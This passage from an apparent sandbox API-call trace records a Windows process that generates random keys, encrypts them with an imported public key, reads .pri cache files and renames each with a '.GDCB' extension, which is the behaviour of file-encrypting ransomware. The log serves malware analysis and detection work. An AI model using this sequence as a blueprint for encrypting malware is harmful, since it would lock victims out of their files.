phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.782] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b1b8) returned 1 [0193.782] CryptGetKeyParam (in: hKey=0x508b1b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.782] CryptEncrypt (in: hKey=0x508b1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.783] GetLastError () returned 0x0 [0193.783] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.783] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\226732975\\2698495915.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\226732975\\2698495915.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.784] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.786] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.787] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x710, lpOverlapped=0x0) returned 1 [0193.814] VirtualAlloc (lpAddress=0x0, dwSize=0x710, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.818] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\226732975\\2698495915.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\226732975\\2698495915.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\226732975\\2698495915.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\226732975\\2698495915.pri.gdcb")) returned 0 [0193.823] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0193.824] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.825] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.825] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.825] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.825] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0193.826] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.827] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.827] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.827] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.827] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.829] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b578) returned 1 [0193.829] CryptGetKeyParam (in: hKey=0x508b578, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.830] CryptEncrypt (in: hKey=0x508b578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.830] GetLastError () returned 0x0 [0193.830] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.830] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.831] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b278) returned 1 [0193.832] CryptGetKeyParam (in: hKey=0x508b278, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.832] CryptEncrypt (in: hKey=0x508b278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.832] GetLastError () returned 0x0 [0193.832] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.832] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2570292521\\231755001.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2570292521\\231755001.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.834] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.835] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.836] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x748, lpOverlapped=0x0) returned 1 [0193.880] VirtualAlloc (lpAddress=0x0, dwSize=0x750, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.884] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2570292521\\231755001.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2570292521\\231755001.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2570292521\\231755001.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2570292521\\231755001.pri.gdcb")) returned 0 [0193.889] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0193.890] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.891] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.891] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.891] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.891] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0193.892] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.893] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.893] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.893] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.893] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.895] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b0f8) returned 1 [0193.895] CryptGetKeyParam (in: hKey=0x508b0f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.895] CryptEncrypt (in: hKey=0x508b0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.896] GetLastError () returned 0x0 [0193.896] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.896] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0193.897] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b5f8) returned 1 [0193.897] CryptGetKeyParam (in: hKey=0x508b5f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.897] CryptEncrypt (in: hKey=0x508b5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.898] GetLastError () returned 0x0 [0193.898] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0193.898] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2577507833\\3967450640.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2577507833\\3967450640.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.899] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.900] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.901] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0xde0, lpOverlapped=0x0) returned 1 [0193.910] VirtualAlloc (lpAddress=0x0, dwSize=0xde0, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.914] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2577507833\\3967450640.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2577507833\\3967450640.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2577507833\\3967450640.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2577507833\\3967450640.pri.gdcb")) returned 0 [0193.919] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0193.920] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.921] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.921] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.921] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.921] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0193.922] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.923] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.923] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.923] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0193.923] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.925] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b1f8) returned 1 [0193.926] CryptGetKeyParam (in: hKey=0x508b1f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.926] CryptEncrypt (in: hKey=0x508b1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.926] GetLastError () returned 0x0 [0193.926] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.926] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0193.928] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b638) returned 1 [0193.928] CryptGetKeyParam (in: hKey=0x508b638, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.928] CryptEncrypt (in: hKey=0x508b638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.928] GetLastError () returned 0x0 [0193.928] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.928] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2646675675\\806068533.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2646675675\\806068533.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.930] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.931] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.932] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0xfd8, lpOverlapped=0x0) returned 1 [0193.954] VirtualAlloc (lpAddress=0x0, dwSize=0xfe0, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.959] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2646675675\\806068533.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2646675675\\806068533.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2646675675\\806068533.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2646675675\\806068533.pri.gdcb")) returned 0 [0193.964] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0193.965] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.966] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.966] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.966] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0193.966] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0193.967] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.968] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.968] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.968] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.968] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0193.970] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b178) returned 1 [0193.970] CryptGetKeyParam (in: hKey=0x508b178, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.970] CryptEncrypt (in: hKey=0x508b178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.971] GetLastError () returned 0x0 [0193.971] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0193.971] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.972] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b0b8) returned 1 [0193.972] CryptGetKeyParam (in: hKey=0x508b0b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.973] CryptEncrypt (in: hKey=0x508b0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.973] GetLastError () returned 0x0 [0193.973] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.973] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3053798886\\3825186184.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3053798886\\3825186184.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.975] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.976] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.977] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x3c10, lpOverlapped=0x0) returned 1 [0194.035] VirtualAlloc (lpAddress=0x0, dwSize=0x3c10, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0194.040] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3053798886\\3825186184.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3053798886\\3825186184.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3053798886\\3825186184.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3053798886\\3825186184.pri.gdcb")) returned 0 [0194.045] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0194.046] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.047] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.047] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0194.047] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.047] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0194.048] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.049] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.049] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0194.049] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0194.049] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0194.052] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b5b8) returned 1 [0194.052] CryptGetKeyParam (in: hKey=0x508b5b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.052] CryptEncrypt (in: hKey=0x508b5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0194.052] GetLastError () returned 0x0 [0194.052] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.052] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0194.054] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b738) returned 1 [0194.054] CryptGetKeyParam (in: hKey=0x508b738, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.054] CryptEncrypt (in: hKey=0x508b738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0194.054] GetLastError () returned 0x0 [0194.054] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.054] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application 